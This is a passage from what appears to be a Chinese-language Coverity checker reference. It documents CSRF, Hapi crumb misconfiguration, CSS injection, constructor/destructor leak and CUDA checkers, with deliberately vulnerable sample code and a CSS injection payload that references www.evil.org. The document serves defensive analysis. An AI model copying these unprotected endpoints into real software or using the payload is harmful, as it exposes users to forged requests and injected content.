- ASP.NET MVC `ValidateAntiForgeryToken` 筛选器属性 - 在 ASP.NET MVC 应用程序中，该检查器可识别通过 `[ValidateAntiForgeryToken]` 筛选器属性使用 `System.Web.Mvc.ValidateAntiForgeryTokenAttribute` 类的情况。
- ASP.NET MVC 自定义 `FilterAttribute` 类 - 该检查器可识别使用自定义筛选器类保护请求处理程序免遭跨站请求伪造攻击的情况。
- Express 中间件模块 - 在使用 Express 的 Node.js Web 应用程序中，该检查器会识别使用 CSRF 保护中间件的情况 (`csurf`)。
- Ruby on Rails - 如果未在  `ApplicationController` 派生的子类控制器中调用 `_protect_from_forgery`，该检查器会报告缺少 CSRF 保护。此外，设置 `_protect_from_forgery` 但是未使用 `with: :exception` 选项的控制器将被报告具有弱 CSRF 保护。

默认禁用：CSRF 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

对于 Ruby，默认启用 CSRF。

Web 应用程序安全检查器启用：要启用 CSRF 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

#### 4.109.2. 缺陷剖析

CSRF 缺陷描述当入口点未被 CSRF 保护方案保护时，该入口点如何修改 Web 应用程序的服务器状态。缺陷路径首先显示被调用以为易受攻击的 Web 应用程序请求提供服务的入口点。从那里，缺陷中的事件显示从入口点到修改 Web 应用程序状态的操作的路径。此操作可以对文件系统进行修改或更新数据库。

对于 .NET 和 Java，事件还将提供有关可用于保护易受攻击的入口点的现有 CSRF 保护方案的信息。example\_csrf\_check 事件将提供来自代码中其他位置的可显示如何使用验证器方法的示例。insufficient\_filtering 事件表明可用的 CSRF 筛选器未覆盖需要保护的入口点。no\_protection\_scheme 事件表明该检查器无法识别整个应用程序中的任何 CSRF 保护。

对于 Ruby on Rails，如果未在 ActionController::Base 派生的子类控制器中设置 protect\_from\_forgery，该检查器会报告缺少 CSRF 保护。此外，设置 protect\_from\_forgery 但是未使用 with: :exception 选项的控制器将报告 csrf\_not\_protected\_by\_raising\_exception 事件。

#### 4.109.3. 示例

本部分提供了一个或多个 CSRF 示例。

##### 4.109.3.1. Java

自定义筛选器不保护 URI 映射：。筛选器可能具有未覆盖易受攻击的入口点的 URI 映射。在下面的示例中，发出的 Web 应用程序 (web-app) 中的 WEB-INF/web.xml 文件描述了位于筛选器所保护模式之外的 URI 的 servlet 映射：

```
<servlet>
 <servlet-name>UpdatePasswordServlet</servlet-name>
 <servlet-class>com.coverity.UpdatePasswordServlet</servlet-class>
</servlet>

<servlet-mapping>
 <servlet-name>UpdatePasswordServlet</servlet-name>
 <url-pattern>/update_password</url-pattern>
</servlet-mapping>

<filter>
 <filter-name>CSRFFilter</filter-name>
 <filter-class>com.coverity.CSRFFilter</filter-class>
</filter>

<filter-mapping>
 <filter-name>com.coverity.CSRFFilter</filter-name>
 <url-pattern>/safe/*</url-pattern>
</filter-mapping>
```

如果 UpdatePasswordServlet servlet 依赖用户凭证并且可以修改 Web 应用程序状态，则 CSRF 攻击者可以利用这些凭证。在这种情况下，可以未经用户同意即重置用户密码。

```
class UpdatePasswordServlet extends HttpServlet {
 private PasswordService passwordService;
 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, java.io.IOException
```

```

{
 HttpSession sess = req.getSession();
 if (sess) {
 String user = (String)sess.getAttribute("user");
 String new_password = req.getParameter("new_password");

 passwordService.updatePassword(user, new_password);
 }
}
}

```

自定义筛选器不保护 GET 请求。可以实施 servlet 筛选器以便仅保护某些 HTTP 请求方法（例如 POST）。使用其他请求方法可能仍可以访问可利用的入口点。

在下面的示例中，实施了自定义 servlet 筛选器 MyCsrfFilter，以通过验证请求的同步令牌来保护 POST 请求。

```

class MyCsrfFilter implements javax.servlet.Filter {

 public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
 throws ServletException, java.io.IOException
 {
 if (req instanceof HttpServletRequest) {
 HttpServletRequest hreq = (HttpServletRequest)req;

 // CSRF check
 if (hreq.getMethod().equals("POST")) {
 if (!validCSRFToken(hreq)) { throw new ServletException(); }
 }
 }

 chain.doFilter (req, resp);
 }

 // (other interface methods not shown)
}

```

考虑以下 Spring MVC 3.0 入口点 MyController.deleteAccount。假设通过作为 servlet 筛选器（不显示）实施的验证检查对它进行保护。

```

@Controller
class MyController {

 private AccountService accountService;

 @RequestMapping("/deleteAccount")
 public String deleteAccount(@RequestParam("user") String user)
 {
 accountService.deleteUser(user);
 return "successView.jsp";
 }
}

```

即使 MyCsrfFilter 被映射为覆盖 URI /deleteAccount , 该控制器仍然易受 CSRF 攻击 , 因为可通过 GET 请求访问它。 ( 这是 Spring @RequestMapping 注解的默认值。 )

缺少自定义验证器 : . 易受攻击的入口点缺少对自定义同步器令牌验证器的调用。在下面的示例中 , 使用随机验证方案实施了 CSRF 防护。使用方法 CsrfService.validateToken 检查同步令牌。 Apache Struts UpdateProfileAction.execute 控制器受到保护 , 但 AdminSettingsAction.execute 未受到保护。 ( 管理员级用户同样容易遭到 CSRF 攻击 , 而且可能产生更严重的后果。 )

```
public class UpdateProfileAction extends org.apache.struts.action.Action {

 private ProfileDao profileDao;
 private CsrfService csrfService;

 public ActionForward execute(ActionMapping mapping, ActionForm form,
 HttpServletRequest request, HttpServletResponse
response)
 throws Exception
 {
 // check CSRF token
 if (!csrfService.validateToken(request)) {
 return mapping.findForward("unauthorized");
 }

 // store new profile in the database
 profileDao.storeProfile((UpdateProfileForm)form);

 return mapping.findForward("success");
 }
}

public class AdminSettingsAction extends org.apache.struts.action.Action {

 private AdminService adminService;

 public ActionForward execute(ActionMapping mapping, ActionForm form,
 HttpServletRequest request, HttpServletResponse
response)
 throws Exception
 {
 // store new settings in the database
 adminService.updateSettings((AdminSettingsForm)form);

 return mapping.findForward("success");
 }
}
```

Spring Security CSRF 筛选器 : . Spring Security 从版本 3.2 开始以及在更高版本中提供 CSRF 保护。您可以通过 Java 或 XML 配置 CSRF 保护。

- XML 配置 : 在 Spring 4.0 之前 , Spring 安全上下文中的 <http> 元素中需要 <csrf> 元素来启用保护。自 Spring 4.0 开始 , CSRF 保护默认通过 XML 配置启用 , 并且可以使用 <csrf disabled="true"> 禁用。该检查器会在 Web 应用存档中包含的任何 Spring XML 中查找这一点。

- Java 配置：CSRF 保护默认启用，但可以在扩展 `WebSecurityConfigurerAdapter` 的类的 `configure(HttpSecurity http)` 方法中使用 `http().csrf().disable()` 禁用。您也可以使用 `ignoringAntMatchers` 方法仅对某些 URL 模式禁用该保护。该检查器处理这两种配置方法。

要启用该保护，在 Web 应用的筛选器链中必须存在

`org.springframework.web.filter.DelegatingFilterProxy` servlet 筛选器。

使用 Spring Boot 时，会自动添加此筛选器。但是如果没有 Spring Boot，则必须通过扩展

`AbstractSecurityWebApplicationInitializer` 类在 XML 配置中或在 Java 中注册此筛选器。

该检查器理解这一点，当不使用 Spring Boot 时，它会检查此筛选器是否已添加到 XML 配置或 Java 配置中。

Spring 安全性主要依赖于应用程序正确使用 HTTP 请求类型：任何更新全局状态的操作都应该通过 POST、PUT、PATCH 或 DELETE 请求。CSRF 令牌只针对这些方法进行检查；其他方法则不受保护。该检查器理解此行为，并且将在服务 GET 请求已知的入口点执行某些状态更改操作时，报告这些入口点上的 CSRF 缺陷，即使启用了 Spring CSRF 保护。

在下面的示例中，`transferMoney` 函数更新数据库中用户的财务记录。但是，该 `doGet` servlet 方法不受保护，因为它为 HTTP GET 请求服务。

```
class BankServlet extends HttpServlet {

 public void doGet(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, java.io.IOException
 {
 HttpSession sess = req.getSession();
 if (sess) {
 transferMoney((Long)sess.getAttribute("userid"),
 (String)req.getParameter("amount"));
 }
 }

 private void transferMoney(Long userid, String amount) {
 // ...
 }
}
```

OWASP csrf-guard 筛选器：。 OWASP csrf-guard 筛选器可以配置为允许将某些 URI 访问路径和某些 HTTP 请求方法列出。这些配置在其 `Owasp.CsrfGuard.properties` 文件中指定。在此示例中，`org.owasp.csrfguard.CsrfGuardFilter` servlet 筛选器已被映射到所有 URI，并且属性文件包含以下配置：

```
Protected Methods
#
org.owasp.csrfguard.ProtectedMethods=POST,PUT,DELETE

Unprotected Pages:
#
org.owasp.csrfguard.unprotected.Admin=/admin/*
```

下面的两个 Spring MVC 3.0 控制器方法都未受到保护。下面的方法 `UserController.updatePhone` 易受攻击，因为它为 HTTP GET 请求服务。

```
@Controller
class UserController {

 private UserService userService;

 @RequestMapping("/edit/set_priv", method = RequestMethod.GET)
 public void updatePhone(HttpServletRequest req,
 @RequestParam("phone") String phone) {
 HttpSession sess = req.getSession();
 if (sess) {
 // update user's phone number...
 userService.setPhone(sess.getAttribute("user"), phone);
 }
 }
}
```

下面的方法 AdminController.addUser 易受攻击，因为可通过允许列出的 URI 访问它。

```
@Controller
class AdminController {

 private UserService userService;

 @RequestMapping("/admin/set_priv", method = RequestMethod.POST)
 public void addUser(HttpServletRequest req)
 throws AccessException
 {
 HttpSession sess = req.getSession();
 if (sess) {
 // verify that the user's session has admin privledges
 Privledges p = (Privledges)sess.getAttribute("privledges");
 if (!p.hasAdmin()) {
 throw new AccessException("No admin privledges");
 }

 // update the database with a new user and password
 userService.addUser(req.getParameter("new_user"),
 req.getParameter("new_password"));

 return "newUserSuccess.jsp";
 }
 return "login.jsp";
 }
}
```

#### 4.109.3.2. C#

ASP.NET MVC 控制器：。 在下面的示例中，共有两个 MVC 控制器方法。这两种方法都会更新数据库，并且具有其他作用。ASP.NET MVC System.Web.Mvc.ValidateAntiForgeryTokenAttribute 验证筛选器会保护 UpdateAppleCount 请求处理程序，但 UpdateOrangeCount 仍然容易受到跨站请求伪造攻击。

```
using System;
```

```
using System.Web;
using System.Web.Mvc;

namespace MyApp {
 public class MyController : Controller {
 FruitDatabase db;

 [ValidateAntiForgeryToken]
 public ActionResult UpdateAppleCount() {
 // Protected using MVC's
 // System.Web.Mvc.ValidateAntiForgeryTokenAttribute
 db.UpdateAppleInventory(Request);
 return View("success");
 }

 public ActionResult UpdateOrangeCount() {
 // Vulnerable to CSRF!
 db.UpdateOrangeInventory(Request);
 return View("success");
 }
 }
}
```

#### 4.109.3.3. JavaScript

Express Node.js Web 应用程序：。 应用程序从 Express 应用程序对象的初始设置开始，安装“本体解析器”中间件（以解析传入的请求本体）和“cookie 解析器”中间件（以解析 CSRF 令牌）。

```
var app = require('express')();
app.use(require('body-parser').urlencoded({ extended: false }));
app.use(require('cookie-parser'));
```

然后，应用程序为端口 3000 上的连接设置一个监听器，并建立 MongoDB 数据库连接。

```
var database;
var MongoClient = require("mongodb").MongoClient;
var Server = require('mongodb').Server;
app.listen(3000, function() {
 var mongoclient = new MongoClient(new Server("localhost", 27017),
 {native_parser:true});
 database = mongoclient.db("myDatabase");
 console.log("Listening on port 3000.");
});
```

应用程序然后设置 csrf 中间件，并将 HTTP GET 请求路由到路径“/form”。在此 HTTP GET 请求中，响应包括 2 个几乎相同的 form 元素，用于服务于 POST 请求。它们在数据发送的路径上有所不同（“/processWithProtection”与“/processNoProtection”）。对于每个 form 元素，csrf 中间件函数 req.csrfToken() 生成一个令牌，其值被添加到隐藏表单字段“\_csrf”中。

```

var csrfProtection = require('csurf')({ cookie: true });
app.get("/form", csrfProtection, function(req, res) {
 res.send(
 "<form action='/processWithProtection' method='POST'>" +
 "<input type='hidden' name='_csrf' value='" + req.csrfToken() + "'>" +
 "Remove Jack from database? " +
 "<button type='submit'>Remove</button>" +
 "</form>" +
 "<form action='/processNoProtection' method='POST'>" +
 "<input type='hidden' name='_csrf' value='" + req.csrfToken() + "'>" +
 "Remove Jill from database? " +
 "<button type='submit'>Remove</button>" +
 "</form>");;
});

```

应用程序然后注册 2 个 HTTP POST 请求以处理路径“/processWithProtection”和“/processNoProtection”。这两个 POST 请求都从数据库中删除一个用户。针对路径“/processWithProtection”的 POST 请求使用 CSRF 保护中间件 (csurf)，以减少报告的 CSRF 缺陷。针对路径“/processNoProtection”的 POST 请求不使用 csrf 中间件。即使令牌被提供给此 POST 请求，不使用 csrf 中间件意味着令牌将不会对访问者的会话或 csrf cookie 进行验证（取决于如何设置 csrf 中间件）。这导致针对此入口点报告 CSRF 缺陷。

```

app.post('/processWithProtection', csrfProtection, function(req, res) {
 res.send("Jack removed from database.");
 database.removeUser("Jack");
});

app.post('/processNoProtection', function(req, res) {
 res.send("Jill removed from database.");
 database.removeUser("Jill");
});

```

#### 4.109.3.4. Python

```

from sqlalchemy import Table, create_engine, MetaData, create_engine, Column, String,
Integer
from flask import Flask
from flask_wtf.csrf import CSRFProtect

engine = create_engine(db_location)
metadata = MetaData()
fruit_tbl = Table('fruit_count', metadata,
 Column('id', Integer, primary_key=True),
 Column('name', String),
 Column('count', Integer)
)

metadata.create_all(engine)
connection = engine.connect()

def update_fruit_count(name, newCount):
 updObj = fruit_tbl.update().values(count=newCount).where(fruit_tbl.c.name == name)

```

```
connection.execute(updObj)

fruit_tracker = Flask(__name__)

csrf = CSRFProtect()
csrf.init_app(fruit_tracker)

Update orange count
@fruit_tracker.route('/orange_update/', method=('POST'))
@csrf.exempt
Defect is reported here!
def orange_update():
 update_fruit_count('orange', request.form.get('count'))

if __name__ == '__main__':
 fruit_tracker.run()
```

#### 4.109.3.5. Ruby

以下 Ruby on Rails 代码会显示不在主应用程序控制器中调用 `protect_from_forgery` 以添加 CSRF 保护的控制器。

```
class ApplicationController < ActionController::Base
end
```

#### 4.109.3.6. Visual Basic

ASP .NET Web 表单 (ASPX) 页面中有一个按钮，可调用服务器端事件处理程序，单击该按钮时处理程序会更新服务器数据库。

```
<asp:button runat="server" xml:id="MyButton" OnClick="OnActionHandler" />
```

如果事件是在服务器上处理的，并且页面生命周期事件处理程序无法检查是否存在有效的防伪令牌，那么服务器将容易受到 CSRF 攻击。

```
Imports System.Web.UI

' There is no anti-forgery token check here or in a MasterPage.
Class ShoppingPage
 Inherits System.Web.UI.Page

 ' CSRF defect is reported here!
 Sub OnActionHandler(sender As Object, e As EventArgs)
 UpdateDatabase() ' executes a SQL update
 End Sub
End Class
```

#### 4.109.4. 选项

本部分描述了一个或多个 CSRF 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- CSRF:filter:<filter\_class> - 此选项可列出 CSRF 筛选器的完全限定类名称。允许使用一个或多个值。默认值未设置 ( C#、Java、Visual Basic ) 如果此选项未指定，将使用一组内置判别法自动识别筛选器类；如果该选项已指定，这些判别法将被禁用。

在 Java Web 应用程序中，会通过在 Web 应用程序的 web.xml 文件中指定的 URL 映射，将 servlet 筛选器类映射到请求处理程序。

在 ASP.NET MVC 应用程序中，会通过 MVC 控制器类或方法中的属性将 FilterAttribute 类映射到请求处理程序。

- CSRF:ignore\_filters\_for\_http\_method:<HTTP\_request\_methods> - 此选项可列出针对其报告 CSRF 缺陷的 HTTP 请求方法，即使它们已经被筛选器覆盖。允许使用一个或多个值。如果筛选器的行为过于复杂，此选项允许手动指定方法特定覆盖率。有效 ( 不区分大小写 ) 的值包括 GET、POST、PUT、DELETE、HEAD、OPTIONS、TRACE、CONNECT。默认未设置 ( 仅限 Java )。
- CSRF:suppress\_for\_http\_method:<HTTP\_request\_methods> - 此选项可列出针对其抑制 CSRF 缺陷的 HTTP 请求方法。允许使用一个或多个值。如果无法检测筛选器或筛选器过于复杂，此选项允许手动指定方法特定覆盖率。有效 ( 不区分大小写 ) 的值包括 GET、POST、PUT、DELETE、HEAD、OPTIONS、TRACE、CONNECT。默认未设置 ( 仅限 Java )。
- CSRF:report\_all\_required\_checks:<boolean> - 如果将此选项设置为 true，该检查器将忽略任何现有的 CSRF 保护，并在所有应该受到保护的入口点上报告缺陷。默认值为 CSRF:report\_all\_required\_checks:false ( 适用于所有语言 )。
- CSRF:report\_database\_updates:<boolean> - 如果将此选项设置为 false，该检查器不会将数据库更新视为需要预防 CSRF 的证据，并且不会针对更新报告缺陷。默认值为 true，这意味着该检查器会默认将此类更新报告为缺陷。默认值为 CSRF:report\_database\_updates:true ( 适用于所有语言 )。
- CSRF:report\_filesystem\_modification:<boolean> - 如果将此选项设置为 true，该检查器会将对文件系统的修改视为需要预防 CSRF 的证据，并且将会针对此类修改报告缺陷。默认值为 CSRF:report\_filesystem\_modification:false ( 适用于所有语言 )。

如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- CSRF:report\_unknown\_urls:<boolean> - 如果将此选项设置为 true，该检查器会在无法确定其 URI 映射但需要 URI 来确定筛选器覆盖率的入口点处报告缺陷。默认值为 CSRF:report\_unknown\_urls:false ( 仅限 Java )，如果为 false，将会忽略这些入口点。
- CSRF:suppress\_for\_url:<URLs> - 此选项可列出将针对其抑制 CSRF 缺陷的 URL。允许使用一个或多个值。如果无法检测筛选器或筛选器过于复杂，此选项允许手动指定其 URL 覆盖率。默认未设置 ( 仅限 Java )。
- CSRF:validator:<validator\_methods> - 此选项可列出 CSRF 验证器方法的完全限定方法名称。该方法可以使用或不使用参数指定，并且将进行相应地匹配。默认值未设置 ( C#、Java、Visual

Basic ) 如果该选项未指定 , 将使用一组内置判别法自动识别验证器方法 ; 如果该选项已指定 , 这些判别法将被禁用。

#### 4.109.5. 自定义检查器

##### 4.109.5.1. 识别需要 CSRF 保护的函数

您可以帮助 CSRF 检查器使用以下模型原语 ( 针对 Java 和 .NET ) 和指令 ( 针对 JavaScript ) 识别需要 CSRF 保护的方法。数据库与文件系统的区别 ( 见下文 ) 影响事件消息的措辞 , 以及 report\_database\_updates 或 report\_filesystem\_modification 检查器选项是否影响指明的函数 ; 另外 , 如果两者都存在 , 则 CSRF 检查器更愿意基于数据库变体来报告缺陷。

###### Java

模型原语位于 com.coverity.primitives.SecurityPrimitives 数据包中。从需要 CSRF 检查的函数的模型中 , 调用 SecurityPrimitives.csrf\_check\_needed\_for\_db\_update()

###### .NET

模型原语位于 Coverity.Primitives.Security 命名空间中。从需要 CSRF 检查的函数的模型中 , 调用 Security.CSRFCheckNeededForDBUpdate() 以表明该函数需要 CSRF 检查 , 因为它更新数据库 ; 调用 CSRFCheckNeededForFileModification() 以表明它需要该检查 , 因为它更新文件系统。

###### JavaScript

使用设置了 csrf\_check\_needed 字段的 csrf\_check\_needed 指令 , 以识别需要 CSRF 检查的函数的调用。将 update\_type 字段设置为 “database” , 以表明匹配函数调用需要 CSRF 检查 , 因为它们更新数据库 ; 将它设置为 “filesystem” , 以表明它们需要该检查 , 因为它们更新文件系统。

#### 4.109.5.2. 识别实施 CSRF 保护的函数

以下仅限 .NET 的原语可识别验证防伪令牌以及预防 CSRF 攻击的方法。将在已建模方法的所有直接调用方中抑制缺陷。

Coverity.Primitives.Security.CSRFValidator()

要创建减少缺陷报告的 Java 模型 , 请参阅《检查器说明书》的章节“减少对方法的缺陷报告”???

对于 JavaScript , 使用 csrf\_validator 指令识别针对 CSRF 攻击提供保护的函数。

#### 4.110. CSRF\_MISCONFIGURATION\_HAPI\_CRUMB 安全检查器

##### 4.110.1. 概述

支持的语言 : . JavaScript、TypeScript

CSRF\_MISCONFIGURATION\_HAPI\_CRUMB 可查找与 Hapi.js 应用程序中使用的 CSRF ( 跨站点请求伪造 ) 中间件 crumb 插件的错误配置相关的问题：

- 在没有设置 secure 标志的 cookie 中设置 CSRF 令牌 ( 用于双重提交 CSRF 保护 ) 。
- 为 Hapi.js 框架和 crumb 插件错误地设置 CSRF cookie 的名称。
- 将 CSRF 令牌的大小设置得太小 ( 小于默认值 43 ) ，这会导致令牌中没有足够的随机性。
- 禁用 CSRF 令牌的验证，这会导致应用程序极易受到 CSRF 的攻击。

默认禁用：CSRF\_MISCONFIGURATION\_HAPI\_CRUMB 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 CSRF\_MISCONFIGURATION\_HAPI\_CRUMB 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 4.110.2. 示例

本部分提供了一个或多个 CSRF\_MISCONFIGURATION\_HAPI\_CRUMB 示例。

在下面的示例中，对于在 crumb 模块的选项中设置为 X-CSRF-Token 令牌的 key 属性，将显示 CSRF\_MISCONFIGURATION\_HAPI\_CRUMB 缺陷：

```
const Hapi = require('hapi');
const server = new Hapi.Server();

server.register([
 {
 register: require('crumb'),
 options: {
 cookieOptions: {
 isSecure: true
 },
 key: 'X-CSRF-Token' // CSRF_MISCONFIGURATION_HAPI_CRUMB defect
 }
 }
], function (err) {
 if (err) {
 throw err;
 }
});

```

### 4.111. CSS\_INJECTION

安全检查器

#### 4.111.1. 概述

支持的语言：. JavaScript、TypeScript

`CSS_INJECTION` 报告以下客户端 JavaScript 代码中的缺陷：使用用户控制的字符串来读取或修改 HTML 文档中的元素 CSS。攻击者使用精心编制的字符串，可能能够从页面中窃取用户信息（如 CSRF 令牌），或者执行跨站点脚本 (XSS) 攻击。

默认禁用：`CSS_INJECTION` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `CSS_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

#### 4.111.2. 缺陷剖析

`CSS_INJECTION` 缺陷表明不可信（被污染）数据形成 HTML 元素 (`htmlElement.style`) 的 CSS 属性的数据流路径。缺陷还可以形成 CSS 属性的名称。该路径从不可信数据源开始，例如读取攻击者可能控制的 URL 的属性（例如 `window.location.hash`）或者来自其他框架的数据。在此处开始，缺陷中的各种事件说明了此被污染数据如何流过程序（例如从函数调用的参数到被调用函数的参数）。该路径的最终部分表示流入 HTML 元素样式的数据。

#### 4.111.3. 示例

本部分提供了一个或多个 `CSS_INJECTION` 示例。

在下面的示例中，攻击者可能将 payload 插入到 URL 中的 color 参数。

```
function doColor() {
var userColor = decodeURI(location.hash.substring(1));
$("h1").css("cssText", "color: " + userColor)

}
window.onhashchange = doColor;
```

以下 payload 不构成威胁，但它可以用来向最终用户显示不想要的图片。

```
"blue; background-image: url("www.evil.org/hacking.jpg")"
```

#### 4.111.4. 选项

本部分描述了一个或多个 `CSS_INJECTION` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `CSS_INJECTION:distrust_all:<boolean>` - 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `CSS_INJECTION:distrust_all:false`。

如果将 `cov-analyze` 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- CSS\_INJECTION:trust\_js\_client\_cookie:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 cookie 的数据，例如来自 document.cookie。此选项之前称为 trust\_client\_cookie。默认值为 CSS\_INJECTION:trust\_js\_client\_cookie:true。
- CSS\_INJECTION:trust\_js\_client\_external:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust\_external。默认值为 CSS\_INJECTION:trust\_js\_client\_external:false。
- CSS\_INJECTION:trust\_js\_client\_html\_element:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 CSS\_INJECTION:trust\_js\_client\_html\_element:true。
- CSS\_INJECTION:trust\_js\_client\_http\_header:<boolean> - 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 CSS\_INJECTION:trust\_js\_client\_http\_header:true。
- CSS\_INJECTION:trust\_js\_client\_http\_referer:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 referer HTTP header (来自 document.referrer) 的数据。默认值为 CSS\_INJECTION:trust\_js\_client\_http\_referer:false。
- CSS\_INJECTION:trust\_js\_client\_other\_origin:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 window.name。默认值为 CSS\_INJECTION:trust\_js\_client\_other\_origin:false。
- CSS\_INJECTION:trust\_js\_client\_url\_query\_or\_fragment:<boolean> - 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 location.hash 或 location.query。默认值为 CSS\_INJECTION:trust\_js\_client\_url\_query\_or\_fragment:false。
- CSS\_INJECTION:trust\_mobile\_other\_app:<boolean> - 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 CSS\_INJECTION:trust\_mobile\_other\_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- CSS\_INJECTION:trust\_mobile\_other\_privileged\_app:<boolean> - 将此选项设置为 false 会导致分析将以下数据视为被污染数据：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 CSS\_INJECTION:trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。
- CSS\_INJECTION:trust\_mobile\_same\_app:<boolean> - 将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染数据。默认值为 CSS\_INJECTION:trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- CSS\_INJECTION:trust\_mobile\_user\_input:<boolean> - 将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染的数据。默认值为

CSS\_INJECTION:trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。

## 4.112. CTOR\_DTOR\_LEAK

质量检查器

### 4.112.1. 概述

支持的语言：. C++

CTOR\_DTOR\_LEAK 可查找构造函数分配了内存并将其指针存储到对象字段中，但析构函数未释放内存的很多情况。

此检查器和 RESOURCE\_LEAK 可以捕获所有内存泄漏缺陷。

要减少误报，请添加释放该字段的析构函数语句。

默认启用：CTOR\_DTOR\_LEAK 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.112.2. 示例

本部分提供了一个或多个 CTOR\_DTOR\_LEAK 示例。

```
struct A {
 int *p;

 A() { p = new int; }
 ~A() { /*oops, leak*/ }
};
```

### 4.112.3. 事件

本部分描述了 CTOR\_DTOR\_LEAK 检查器生成的一个或多个事件。

- alloc\_fn : 分配了内存。
- var\_assign : 在本地变量间复制了已分配的内存。
- value\_flow : 通过返回其中一个参数的函数复制了已分配的内存。
- ctor\_dtor\_leak : 在已分配内存被赋值给类字段但未在析构函数中释放的情况下报告。

## 4.113. CUDA.COLLECTIVE\_WARP\_SHUFFLE\_WIDTH

质量检查器

#### 4.113.1. 概述

支持的语言：. CUDA

CUDA.COLLECTIVE\_WARP\_SHUFFLE\_WIDTH 检查器查找对集合无序操作（例如 `__shfl_sync`）的调用，并检查是否为这些调用传递了错误的 `width` 参数。如果集合无序操作的 `width` 参数是 2 的幂，并且小于或等于 warp 大小（当前对于所有体系结构均为 32），则它就是正确的。

以下是 warp 集合无序操作：

- `__shfl_sync`
- `__shfl_up_sync`
- `__shfl_down_sync`
- `__shfl_xor_sync`

默认启用：CUDA.COLLECTIVE\_WARP\_SHUFFLE\_WIDTH 检查器默认启用。如果禁用，可以使用 `cov-analyze` 命令 `-en CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH` 或 `--all` 的以下选项来重新启用它。

#### 4.113.2. 示例

本部分提供了一个或多个 CUDA.COLLECTIVE\_WARP\_SHUFFLE\_WIDTH 示例。

在下面的示例中，因为指定的 `width` 不是 2 的幂显示了一个缺陷。

```
__device__ void test(unsigned mask, int var, int srcLane)
{
 int badWidth = 30;
 __shfl_sync(mask, var, srcLane, badWidth); //defect
}
```

### 4.114. CUDA.CUDEVICE\_HANDLES

质量检查器

#### 4.114.1. 概述

支持的语言：. CUDA

CUDA.CUDEVICE\_HANDLES 检查器查找将整数视为内部 CUDA 驱动程序设备对象的句柄的代码。可以为 CUdevice 对象分配整数值。在某些情况下，CUDA 驱动程序接口接受了通过将整数设备顺序分配给 CUdevice 而创建的 CUdevice 对象。但是，此行为可能不会持续存在，因此不应依赖。

CUDA.CUDEVICE\_HANDLES 检查器默认启用。

#### 4.114.2. 示例

本部分提供了一个或多个 CUDA.CUDEVICE\_HANDLES 示例。

在下面的示例中，针对 cuCtxCreate() 调用显示了一个缺陷。

```
void example() {
 CUresult result;
 result = cuInit(0);
 assert(CUDA_SUCCESS == result);

 // Create a context to device 0.
 CUctx_st* context;
 result = cuCtxCreate(&context, 0, 0); // defect
 assert(CUDA_SUCCESS == result);
}
```

#### 4.115. CUDA.DEVICE\_DEPENDENT

质量检查器

##### 4.115.1. 概述

支持的语言：. CUDA

CUDA.DEVICE\_DEPENDENT 检查器查找在主机程序初始化之前或在主机程序终止之后执行了不合适操作的情况，例如 ODR-使用托管存储持续时间对象、启动 CUDA 内核，或者调用设备相关的 CUDA 运行时或驱动程序接口。如果存在类类型的全局变量，则将在完成主机程序初始化之前调用该类的构造函数，并在主机程序终止后调用其析构函数，并且这些函数中的这些操作可能导致不确定的行为。

默认启用：CUDA.DEVICE\_DEPENDENT 检查器默认启用。

##### 4.115.2. 示例

本部分提供了一个或多个 CUDA.DEVICE\_DEPENDENT 示例。

在类 C 的构造函数中，启动了一个内核。检查器会找到此类的全局对象，因此将在主机程序初始化完成之前调用此内核，这可能导致不确定的行为。

```
#include <cuda.h>

void assert(bool);

